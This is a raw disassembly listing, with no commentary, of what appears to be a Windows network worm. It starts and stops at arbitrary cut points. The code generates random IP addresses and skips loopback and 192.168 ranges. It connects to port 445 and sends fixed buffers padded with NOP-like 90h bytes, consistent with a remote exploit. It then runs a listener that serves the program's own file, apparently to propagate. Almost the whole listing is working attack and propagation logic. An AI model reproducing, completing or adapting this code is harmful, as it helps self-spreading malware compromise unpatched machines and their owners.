8000h, 61642EC0h, 6174h, 0DE800h, 400000h, 0DE800h dd 1E0000h, 3 dup(0) dd 4000h, 64692EC0h, 617461h, 97000h, 500000h, 97000h dd 2C0000h, 3 dup(0) dd 6000h, 0C0h, 79h dup(0) dd 40C03100h, 4244C8Bh, 60441F7h, 74000000h, 24448B0Fh dd 24548B08h, 0B8028910h, 3 db 0C3h ; =============== S U B R O U T I N E ======================================= sub_43DFD9 proc near ; CODE XREF: .data:0043E111p ; .data:0043E13Fp var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_401000 push large dword ptr fs:0 mov large fs:0, esp loc_43DFF6: ; CODE XREF: sub_43DFD9+44j ; sub_43DFD9+4Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_43E025 cmp esi, [esp+1Ch+arg_4] jz short loc_43E025 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov ecx, [esp+1Ch+var_14] mov ecx, [eax+0Ch] cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_43DFF6 call dword ptr [ebx+esi*4+8] jmp short loc_43DFF6 ; --------------------------------------------------------------------------- loc_43E025: ; CODE XREF: sub_43DFD9+2Aj ; sub_43DFD9+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_43DFD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E033 proc near ; CODE XREF: .data:0043E104p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_401092 push [ebp+arg_0] call sub_43F771 pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_43E033 endp ; --------------------------------------------------------------------------- db 0FCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp mov ebx, [ebp+0Ch] mov eax, [ebp+8] mov dword ptr ds:loc_404089+3, eax mov dword ptr ds:loc_404090, ebx test dword ptr [eax+4], 6 jnz loc_43E138 mov [ebp-8], eax mov eax, [ebp+10h] mov [ebp-4], eax mov dword ptr ds:loc_404090, eax lea eax, [ebp-8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_43E096: ; CODE XREF: .data:0043E12Fj cmp esi, 0FFFFFFFFh jz loc_43E147 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_43E126 push esi push ebp lea ebp, [ebx+10h] mov eax, [ebp-14h] mov eax, [eax] mov eax, [eax] mov dword ptr ds:loc_40402D+3, eax mov edx, [ebp-14h] mov eax, [edx] mov dword ptr ds:loc_404034, eax mov eax, [edx+4] mov dword ptr ds:loc_404036+2, eax push esi push edi push ecx mov ecx, 14h lea edi, sub_40403C mov esi, dword ptr ds:loc_404034 rep movsd lea edi, sub_40403C mov dword ptr ds:loc_404034, edi pop ecx pop edi pop esi call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+0Ch] or eax, eax jz short loc_43E126 js short loc_43E134 mov edi, [ebx+8] push ebx call sub_43E033 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_43DFD9 add esp, 8 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4] mov eax, [ebx+0Ch] call dword ptr [edi+ecx*4+8] loc_43E126: ; CODE XREF: .data:0043E0A7j ; .data:0043E0FCj mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp loc_43E096 ; --------------------------------------------------------------------------- loc_43E134: ; CODE XREF: .data:0043E0FEj xor eax, eax jmp short loc_43E1A9 ; --------------------------------------------------------------------------- loc_43E138: ; CODE XREF: .data:0043E076j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_43DFD9 add esp, 0Ch loc_43E147: ; CODE XREF: .data:0043E099j push 0 mov dword ptr ds:loc_40400C+4, 0Bh push 0Bh call j_aARc add esp, 8 or eax, eax jnz short loc_43E182 push 0 mov dword ptr ds:loc_40400C+4, 8 push 8 call j_aARc add esp, 8 or eax, eax jnz short loc_43E182 mov eax, 1 jmp short loc_43E1A9 ; --------------------------------------------------------------------------- loc_43E182: ; CODE XREF: .data:0043E15Fj ; .data:0043E179j cmp eax, 0FFFFFFFFh jz short loc_43E1B1 push eax push dword ptr ds:loc_40400C+4 call j_aARc add esp, 8 push dword ptr ds:loc_40400C+4 call sub_43F8FD add esp, 4 mov eax, 1 loc_43E1A9: ; CODE XREF: .data:0043E136j ; .data:0043E180j ... pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_43E1B1: ; CODE XREF: .data:0043E185j cmp dword ptr ds:loc_40402B+1, 0 jnz short loc_43E1C1 mov eax, 1 jmp short loc_43E1A9 ; --------------------------------------------------------------------------- loc_43E1C1: ; CODE XREF: .data:0043E1B8j mov eax, dword ptr ds:loc_40402B+1 push 0Bh jmp eax ; --------------------------------------------------------------------------- dw 0B858h dd 1, 0A164D7EBh, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push 40401Ch push offset sub_40109A push eax mov large fs:0, esp sub esp, 10h push ebx push esi push edi mov [ebp-18h], esp push eax fnstcw word ptr [esp] or word ptr [esp], 300h fldcw word ptr [esp] add esp, 4 push 0 push 0 push 404028h push 404024h push offset sub_404020 call sub_43F8C1 push dword ptr ds:loc_404027+1 push dword ptr ds:sub_404020+4 push dword ptr ds:sub_404020 mov dword ptr ds:loc_404012+2, esp call sub_43F619 add esp, 18h xor ecx, ecx mov [ebp-4], ecx push eax call sub_43F8D9 leave retn ; --------------------------------------------------------------------------- db 64h, 0A3h, 0 dd 0C3000000h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E255 proc near ; CODE XREF: sub_43E2F0+12p var_35 = byte ptr -35h var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi mov edi, [ebp+arg_4] push 2 lea eax, [ebp+var_35] push eax push [ebp+arg_0] call sub_43F8B5 add esp, 0Ch lea ecx, [ebp+var_35] or eax, 0FFFFFFFFh loc_43E278: ; CODE XREF: sub_43E255+28j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43E278 mov ebx, eax mov [ebp+var_2], bl mov [ebp+var_1], 0 jmp short loc_43E2A0 ; --------------------------------------------------------------------------- loc_43E28A: ; CODE XREF: sub_43E255+55j movzx eax, [ebp+var_1] movzx edx, [ebp+var_2] sub edx, eax dec edx mov al, [ebp+eax+var_35] mov [edi+edx], al add [ebp+var_1], 1 loc_43E2A0: ; CODE XREF: sub_43E255+33j movzx eax, [ebp+var_1] movzx edx, [ebp+var_2] cmp eax, edx jl short loc_43E28A movzx eax, [ebp+var_2] mov byte ptr [edi+eax], 0 mov [ebp+var_3], 0 jmp short loc_43E2CC ; --------------------------------------------------------------------------- loc_43E2BA: ; CODE XREF: sub_43E255+88j push 404DE5h push edi call sub_43F939 add esp, 8 add [ebp+var_3], 1 loc_43E2CC: ; CODE XREF: sub_43E255+63j movzx eax, [ebp+var_3] mov edx, 20h movzx ecx, [ebp+var_2] sub edx, ecx cmp eax, edx jl short loc_43E2BA push [ebp+arg_8] push edi call sub_43F939 add esp, 8 pop edi pop esi pop ebx leave retn sub_43E255 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E2F0 proc near ; CODE XREF: sub_43F411+97p var_32 = byte ptr -32h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34h push offset sub_404DE3 lea eax, [ebp+var_32] push eax push [ebp+arg_0] call sub_43E255 add esp, 0Ch lea eax, [ebp+var_32] push eax call sub_43F729 leave retn sub_43E2F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E315 proc near ; CODE XREF: .data:0043F3CFp ; sub_43F411+F1p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push eax push edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_43F879 mov edi, eax or edi, edi jz short loc_43E345 xor eax, eax jmp short loc_43E37D ; --------------------------------------------------------------------------- loc_43E345: ; CODE XREF: sub_43E315+2Aj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] push 0 push [ebp+arg_8] push [ebp+var_4] call sub_43F8A9 mov edi, eax push [ebp+var_4] call sub_43F885 or edi, edi jz short loc_43E36D xor eax, eax jmp short loc_43E37D ; --------------------------------------------------------------------------- loc_43E36D: ; CODE XREF: sub_43E315+52j cmp [ebp+var_8], 1 jnz short loc_43E37A mov eax, 2 jmp short loc_43E37D ; --------------------------------------------------------------------------- loc_43E37A: ; CODE XREF: sub_43E315+5Cj xor eax, eax inc eax loc_43E37D: ; CODE XREF: sub_43E315+2Ej ; sub_43E315+56j ... pop edi leave retn sub_43E315 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E380 proc near ; CODE XREF: .data:0043F3A8p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push edi lea eax, [ebp+var_4] push eax push 20019h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_43F891 mov edi, eax or edi, edi jz short loc_43E3A5 xor eax, eax jmp short loc_43E3D0 ; --------------------------------------------------------------------------- loc_43E3A5: ; CODE XREF: sub_43E380+1Fj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] push 0 push [ebp+arg_8] push [ebp+var_4] call sub_43F89D mov edi, eax push [ebp+var_4] call sub_43F885 or edi, edi jz short loc_43E3CD xor eax, eax jmp short loc_43E3D0 ; --------------------------------------------------------------------------- loc_43E3CD: ; CODE XREF: sub_43E380+47j xor eax, eax inc eax loc_43E3D0: ; CODE XREF: sub_43E380+23j ; sub_43E380+4Bj pop edi leave retn sub_43E380 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h push ebx push esi push edi xor ebx, ebx push 0 push 100h lea eax, [ebp-100h] push eax push dword ptr [ebp+8] call sub_43F5D1 cmp eax, 0FFFFFFFFh jz loc_43E517 push 404DDFh lea eax, [ebp-100h] push eax call sub_43F951 add esp, 8 or eax, eax jz loc_43E4D9 push 404DDBh lea edx, [ebp-100h] push edx call sub_43F951 add esp, 8 or eax, eax jz loc_43E4D9 push 0 push 3Dh push 404D9Dh push dword ptr [ebp+8] call sub_43F5DD push dword ptr ds:loc_403001+3 push 404D86h lea eax, [ebp-200h] push eax call sub_43F921 add esp, 0Ch lea ecx, [ebp-200h] or eax, 0FFFFFFFFh loc_43E46C: ; CODE XREF: .data:0043E471j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43E46C push 0 push eax lea edx, [ebp-200h] push edx push dword ptr [ebp+8] call sub_43F5DD loc_43E485: ; CODE XREF: .data:0043E4CBj mov eax, dword ptr ds:loc_403001+3 mov edi, eax sub edi, ebx cmp edi, 1000h jb short loc_43E49B mov edi, 1000h loc_43E49B: ; CODE XREF: .data:0043E494j or edi, edi jz short loc_43E4CD push 0 push edi mov eax, ebx add eax, dword ptr ds:loc_403006+2 push eax push dword ptr [ebp+8] call sub_43F5DD mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_43E517 cmp esi, 1000h jb short loc_43E4CD add ebx, esi push 64h call sub_43F789 jmp short loc_43E485 ; --------------------------------------------------------------------------- loc_43E4CD: ; CODE XREF: .data:0043E49Dj ; .data:0043E4C0j push 404098h call sub_43F741 jmp short loc_43E4FB ; --------------------------------------------------------------------------- loc_43E4D9: ; CODE XREF: .data:0043E416j ; .data:0043E432j push 0 push 15h push 404D70h push dword ptr [ebp+8] call sub_43F5DD push 0 push 0Dh push offset sub_40409C push dword ptr [ebp+8] call sub_43F5DD loc_43E4FB: ; CODE XREF: .data:0043E4D7j push 7D0h call sub_43F789 push 2 push dword ptr [ebp+8] call sub_43F5E9 push dword ptr [ebp+8] call sub_43F571 loc_43E517: ; CODE XREF: .data:0043E3FAj ; .data:0043E4B8j pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 0 push 404098h call sub_43F735 push 0 push 80h push 3 push 0 push 1 push 80000000h push offset sub_403010 call sub_43F759 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_43E55D push 1 call sub_43F6C9 loc_43E55D: ; CODE XREF: .data:0043E554j push 0 push ebx call sub_43F6ED mov dword ptr ds:loc_403001+3, eax push eax push 0 call sub_43F74D mov dword ptr ds:loc_403006+2, eax push 0 lea eax, [ebp-30h] push eax push dword ptr ds:loc_403001+3 push dword ptr ds:loc_403006+2 push ebx call sub_43F765 push ebx call sub_43F705 push 0 push 1 push 2 call sub_43F5F5 mov esi, eax push 10h lea eax, [ebp-24h] push eax call sub_43F77D mov word ptr [ebp-24h], 2 and dword ptr [ebp-20h], 0 mov word ptr [ebp-26h], 0 loc_43E5BD: ; CODE XREF: .data:0043E5FDj movzx eax, word ptr [ebp-26h] add eax, 50h mov word ptr ds:loc_404094, ax movzx eax, word ptr ds:loc_404094 push eax call sub_43F5A1 mov edx, eax mov [ebp-22h], dx push 10h lea eax, [ebp-24h] push eax push esi call sub_43F565 mov [ebp-2Ch], eax inc word ptr [ebp-26h] or eax, eax jz short loc_43E5FF movzx eax, word ptr [ebp-26h] cmp eax, 0FDE8h jl short loc_43E5BD loc_43E5FF: ; CODE XREF: .data:0043E5F2j push 64h push esi call sub_43F5C5 mov dword ptr [ebp-4], 10h loc_43E60E: ; CODE XREF: .data:0043E639j lea eax, [ebp-4] push eax lea eax, [ebp-14h] push eax push esi call sub_43F559 mov edi, eax lea eax, [ebp-34h] push eax push 0 push edi push 40141Ah push 0 push 0 call sub_43F7AD push eax call sub_43F705 jmp short loc_43E60E ; --------------------------------------------------------------------------- db 5Fh dd 0C3C95B5Eh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E640 proc near ; CODE XREF: .data:0043EE73p var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_13 = byte ptr -13h var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi lea edi, [ebp+var_13] lea esi, loc_4040A8+2 mov ecx, 4 rep movsd lea edi, [ebp+var_18] lea esi, loc_4040B9+1 mov ecx, 5 rep movsb loc_43E669: ; CODE XREF: sub_43E640+51j ; sub_43E640+74j call sub_43F909 mov ecx, 0DDh cdq idiv ecx lea edi, [edx+3] mov ebx, edi mov [ebp+var_3], bl mov [ebp+var_2], 0 jmp short loc_43E6BA ; --------------------------------------------------------------------------- loc_43E686: ; CODE XREF: sub_43E640+81j mov al, [ebp+var_3] movzx edx, [ebp+var_2] cmp al, [ebp+edx+var_13] jz short loc_43E669 movzx eax, [ebp+var_2] cmp eax, 5 jnb short loc_43E6B6 movzx eax, [ebp+var_3] movzx edx, [ebp+var_2] movzx ecx, [ebp+edx+var_13] cmp eax, ecx jb short loc_43E6B6 movzx edx, [ebp+edx+var_18] cmp eax, edx jbe short loc_43E669 loc_43E6B6: ; CODE XREF: sub_43E640+5Aj ; sub_43E640+6Bj inc [ebp+var_2] loc_43E6BA: ; CODE XREF: sub_43E640+44j movzx eax, [ebp+var_2] cmp eax, 10h jb short loc_43E686 loc_43E6C3: ; CODE XREF: sub_43E640+ACj call sub_43F909 mov ecx, 0FDh cdq idiv ecx lea edi, [edx+1] mov ebx, edi mov [ebp+var_19], bl movzx eax, [ebp+var_3] cmp eax, 0C0h jnz short loc_43E6EE movzx eax, [ebp+var_19] cmp eax, 0A8h jz short loc_43E6C3 loc_43E6EE: ; CODE XREF: sub_43E640+A1j call sub_43F909 mov ecx, 0FDh cdq idiv ecx lea edi, [edx+1] mov ebx, edi mov [ebp+var_1A], bl call sub_43F909 mov ecx, 0FDh cdq idiv ecx lea edi, [edx+1] mov ebx, edi mov [ebp+var_1B], bl movzx eax, [ebp+var_1B] push eax movzx eax, [ebp+var_1A] push eax movzx eax, [ebp+var_19] push eax movzx eax, [ebp+var_3] push eax push 404D64h push [ebp+arg_0] call sub_43F921 add esp, 18h pop edi pop esi pop ebx leave retn sub_43E640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E741 proc near ; CODE XREF: .data:0043F078p var_89F4 = dword ptr -89F4h var_89F0 = dword ptr -89F0h var_89EC = dword ptr -89ECh var_89E8 = dword ptr -89E8h var_89E3 = byte ptr -89E3h var_89E2 = word ptr -89E2h var_89E0 = byte ptr -89E0h var_89D8 = byte ptr -89D8h var_8970 = byte ptr -8970h var_6900 = byte ptr -6900h var_68E2 = byte ptr -68E2h var_6842 = byte ptr -6842h var_6136 = dword ptr -6136h var_6126 = byte ptr -6126h var_6112 = byte ptr -6112h var_60A2 = byte ptr -60A2h var_55DE = byte ptr -55DEh var_403A = byte ptr -403Ah var_4039 = byte ptr -4039h var_3FBD = byte ptr -3FBDh var_37ED = byte ptr -37EDh var_3342 = byte ptr -3342h var_3058 = dword ptr -3058h var_3054 = dword ptr -3054h var_3050 = dword ptr -3050h var_304C = word ptr -304Ch var_304A = word ptr -304Ah var_3048 = dword ptr -3048h var_303C = byte ptr -303Ch var_3039 = byte ptr -3039h var_300F = byte ptr -300Fh var_300D = byte ptr -300Dh var_300C = byte ptr -300Ch var_2FC7 = byte ptr -2FC7h var_2F83 = byte ptr -2F83h var_2987 = byte ptr -2987h var_21A3 = byte ptr -21A3h var_2193 = byte ptr -2193h var_1E6F = byte ptr -1E6Fh var_1E6B = byte ptr -1E6Bh var_1E5F = byte ptr -1E5Fh var_1BDA = byte ptr -1BDAh var_1BD9 = byte ptr -1BD9h var_B46 = byte ptr -0B46h var_82 = byte ptr -82h var_81 = byte ptr -81h var_80 = dword ptr -80h var_7C = byte ptr -7Ch var_54 = dword ptr -54h var_50 = byte ptr -50h var_4F = byte ptr -4Fh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 89F4h call sub_43F67D push ebx push esi push edi mov [ebp+var_3054], 1 mov [ebp+var_89F0], 1 lea edi, [ebp+var_89E0] lea esi, loc_4049EC+4 movsd movsd and [ebp+var_89F4], 0 mov [ebp+var_89E2], 1BDh push 0 push 1 push 2 call sub_43F5F5 mov [ebp+var_54], eax cmp eax, 0FFFFFFFFh jz loc_43ED97 mov eax, [ebp+arg_0] mov [ebp+var_89EC], eax push eax call sub_43F5B9 push 1Dh push eax lea edi, [ebp+var_6900] push edi call sub_43F795 lea eax, [ebp+var_6900] push eax push 404D5Ah lea eax, [ebp+var_7C] push eax call sub_43F921 add esp, 0Ch xor ebx, ebx loc_43E7D2: ; CODE XREF: sub_43E741+A2j mov dl, [ebp+ebx+var_7C] mov [ebp+ebx*2+var_50], dl mov [ebp+ebx*2+var_4F], 0 inc ebx cmp ebx, 28h jl short loc_43E7D2 push 60h push 404525h lea eax, [ebp+var_303C] push eax call sub_43F8E5 lea eax, [ebp+var_7C] push eax call sub_43F7A1 mov edi, eax shl edi, 1 push edi lea edi, [ebp+var_50] push edi lea edi, [ebp+var_300C] push edi call sub_43F8E5 lea eax, [ebp+var_7C] push eax call sub_43F7A1 push 9 push offset sub_40457C mov edi, eax shl edi, 1 lea edi, [ebp+edi+var_300D] push edi call sub_43F8E5 lea eax, [ebp+var_7C] push eax call sub_43F7A1 mov edx, eax movsx edi, dl shl edi, 1 add edi, 34h mov edx, edi mov [ebp+var_403A], dl push 1 lea eax, [ebp+var_403A] push eax lea eax, [ebp+var_3039] push eax call sub_43F8E5 lea eax, [ebp+var_7C] push eax call sub_43F7A1 mov edx, eax movsx edi, dl shl edi, 1 add edi, 9 mov edx, edi mov [ebp+var_89E3], dl push 1 lea eax, [ebp+var_89E3] push eax lea eax, [ebp+var_300F] push eax call sub_43F8E5 mov eax, [ebp+arg_4] mov [ebp+var_3058], eax push 0E29h push 31h lea eax, [ebp+var_4039] push eax call sub_43F8F1 add esp, 48h push 10h lea eax, [ebp+var_304C] push eax call sub_43F77D mov [ebp+var_304C], 2 movsx eax, [ebp+var_89E2] movzx eax, ax push eax call sub_43F5A1 mov edi, eax mov [ebp+var_304A], di mov eax, [ebp+arg_0] mov [ebp+var_3048], eax push 10h lea eax, [ebp+var_304C] push eax push [ebp+var_54] call sub_43F57D cmp eax, 0FFFFFFFFh jnz short loc_43E914 mov [ebp+var_3054], 2 jmp loc_43ED8F ; --------------------------------------------------------------------------- loc_43E914: ; CODE XREF: sub_43E741+1C2j push 64h call sub_43F789 push 0 push 89h push 404313h push [ebp+var_54] call sub_43F5DD cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_43F789 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_43F5D1 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43ED85 push 0 push 0A8h push 40439Dh push [ebp+var_54] call sub_43F5DD cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_43F789 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_43F5D1 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43ED85 push 0 push 0DEh push 404446h push [ebp+var_54] call sub_43F5DD cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_43F789 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_43F5D1 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43ED85 mov eax, [ebp+var_80] cmp eax, 0FFFFFFFFh jz short loc_43E9EE cmp eax, 46h jge short loc_43E9F3 loc_43E9EE: ; CODE XREF: sub_43E741+2A6j jmp loc_43ED85 ; --------------------------------------------------------------------------- loc_43E9F3: ; CODE XREF: sub_43E741+2ABj lea eax, [ebp+var_2F83] mov [ebp+var_89E8], eax cmp byte ptr [eax], 31h setnz al and eax, 1 mov [ebp+var_3050], eax jz loc_43EB07 push 0DACh push 90h lea eax, [ebp+var_2987] push eax call sub_43F8F1 push 4 imul eax, [ebp+var_3050], 3Ch lea eax, ds:404938h[eax] push eax lea eax, [ebp+var_21A3] push eax call sub_43F8E5 push [ebp+arg_8] push [ebp+var_3058] lea eax, [ebp+var_2193] push eax call sub_43F8E5 push 4 push 404D55h lea eax, [ebp+var_1E6F] push eax call sub_43F8E5 push 4 imul eax, [ebp+var_3050], 3Ch lea eax, ds:404938h[eax] push eax lea eax, [ebp+var_1E6B] push eax call sub_43F8E5 push [ebp+var_3058] call sub_43F7A1 push eax push [ebp+var_3058] lea edi, [ebp+var_1E5F] push edi call sub_43F8E5 add esp, 48h xor ebx, ebx loc_43EAAF: ; CODE XREF: sub_43E741+38Bj mov dl, [ebp+ebx+var_2987] mov [ebp+ebx*2+var_1BDA], dl mov [ebp+ebx*2+var_1BD9], 0 inc ebx cmp ebx, 0DACh jl short loc_43EAAF mov [ebp+var_82], 0 mov [ebp+var_81], 0 push 1C52h push 31h lea eax, [ebp+var_89D8] push eax call sub_43F8F1 push 1C52h push 31h lea eax, [ebp+var_6112] push eax call sub_43F8F1 add esp, 18h jmp short loc_43EB69 ; --------------------------------------------------------------------------- loc_43EB07: ; CODE XREF: sub_43E741+2CDj push 7D0h push 90h lea eax, [ebp+var_68E2] push eax call sub_43F8F1 push [ebp+var_3058] call sub_43F7A1 push eax push [ebp+var_3058] lea edi, [ebp+var_6842] push edi call sub_43F8E5 lea eax, [ebp+var_89E0] push eax call sub_43F7A1 push eax lea edi, [ebp+var_89E0] push edi lea edi, [ebp+var_6126] push edi call sub_43F8E5 add esp, 24h mov eax, dword ptr ds:loc_404937+1 mov [ebp+var_6136], eax loc_43EB69: ; CODE XREF: sub_43E741+3C4j push 0 movsx eax, [ebp+var_403A] add eax, 4 push eax lea eax, [ebp+var_303C] push eax push [ebp+var_54] call sub_43F5DD cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_43F789 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_43F5D1 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43ED85 push 0 push 68h push 404586h push [ebp+var_54] call sub_43F5DD cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_43F789 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_43F5D1 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43ED85 push 0 push 0A0h push offset sub_4045EF push [ebp+var_54] call sub_43F5DD cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_43F789 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_43F5D1 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43ED85 cmp [ebp+var_3050], 0 jz loc_43ED11 push 68h push offset sub_40479E lea eax, [ebp+var_89D8] push eax call sub_43F8E5 push 1B5Ah lea eax, [ebp+var_1BDA] push eax lea eax, [ebp+var_8970] push eax call sub_43F8E5 push 70h push 404807h lea eax, [ebp+var_6112] push eax call sub_43F8E5 push 0A5Eh lea eax, [ebp+var_B46] push eax lea eax, [ebp+var_60A2] push eax call sub_43F8E5 push 84h push 404878h lea eax, [ebp+var_55DE] push eax call sub_43F8E5 add esp, 3Ch push 0 push 10FCh lea eax, [ebp+var_89D8] push eax push [ebp+var_54] call sub_43F5DD cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_43F789 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_43F5D1 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43ED85 push 0 push 0FDCh lea eax, [ebp+var_6112] push eax push [ebp+var_54] call sub_43F5DD cmp eax, 0FFFFFFFFh jnz short loc_43ED77 jmp short loc_43ED77 ; --------------------------------------------------------------------------- loc_43ED11: ; CODE XREF: sub_43E741+4FAj push 7Ch push 404690h lea eax, [ebp+var_4039] push eax call sub_43F8E5 push 7D0h lea eax, [ebp+var_68E2] push eax lea eax, [ebp+var_3FBD] push eax call sub_43F8E5 push 90h push offset sub_40470D lea eax, [ebp+var_37ED] push eax call sub_43F8E5 add esp, 24h mov [ebp+var_3342], 0 push 0 push 0CF8h lea eax, [ebp+var_4039] push eax push [ebp+var_54] call sub_43F5DD cmp eax, 0FFFFFFFFh jnz short $+2 loc_43ED77: ; CODE XREF: sub_43E741+5CCj ; sub_43E741+5CEj push 64h call sub_43F789 and [ebp+var_3054], 0 loc_43ED85: ; CODE XREF: sub_43E741+216j ; sub_43E741+258j ... push 2 push [ebp+var_54] call sub_43F5E9 loc_43ED8F: ; CODE XREF: sub_43E741+1CEj push [ebp+var_54] call sub_43F571 loc_43ED97: ; CODE XREF: sub_43E741+53j mov eax, [ebp+var_3054] pop edi pop esi pop ebx leave retn sub_43E741 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43EDA2 proc near ; CODE XREF: .data:loc_43EE16p var_32 = byte ptr -32h push ebp mov ebp, esp sub esp, 34h push esi push edi push 31h lea eax, [ebp+var_32] push eax call sub_43F595 cmp eax, 0FFFFFFFFh jnz short loc_43EDBE xor eax, eax jmp short loc_43EDD8 ; --------------------------------------------------------------------------- loc_43EDBE: ; CODE XREF: sub_43EDA2+16j lea eax, [ebp+var_32] push eax call sub_43F589 mov edi, eax or edi, edi jnz short loc_43EDD1 xor eax, eax jmp short loc_43EDD8 ; --------------------------------------------------------------------------- loc_43EDD1: ; CODE XREF: sub_43EDA2+29j mov eax, [edi+0Ch] mov esi, [eax] mov eax, [esi] loc_43EDD8: ; CODE XREF: sub_43EDA2+1Aj ; sub_43EDA2+2Dj pop edi pop esi leave retn sub_43EDA2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 13Ch push ebx push esi push edi call sub_43F711 push eax call sub_43F92D mov esi, 254h mov eax, esi add eax, 0Ah push eax push 0 call sub_43F74D mov ebx, eax push esi push 4040BFh push ebx call sub_43F8E5 add esp, 10h loc_43EE16: ; CODE XREF: .data:0043EE30j ; .data:0043EE6Aj ... call sub_43EDA2 mov [ebp-10Ch], eax or eax, eax jnz short loc_43EE32 push 384h call sub_43F8CD pop ecx jmp short loc_43EE16 ; --------------------------------------------------------------------------- loc_43EE32: ; CODE XREF: .data:0043EE23j mov al, [ebp-10Ch] mov [ebp-111h], al mov al, [ebp-10Bh] mov [ebp-112h], al mov al, [ebp-10Ah] mov [ebp-135h], al cmp byte ptr [ebp-111h], 7Fh jnz short loc_43EE6C push 384h call sub_43F8CD pop ecx jmp short loc_43EE16 ; --------------------------------------------------------------------------- loc_43EE6C: ; CODE XREF: .data:0043EE5Dj lea eax, [ebp-130h] push eax call sub_43E640 push 0 call sub_43F8CD add esp, 8 call sub_43F909 mov ecx, 0FDh cdq idiv ecx mov edi, edx inc edi mov edx, edi mov [ebp-134h], dl call sub_43F909 mov ecx, 0FDh cdq idiv ecx mov edi, edx inc edi mov edx, 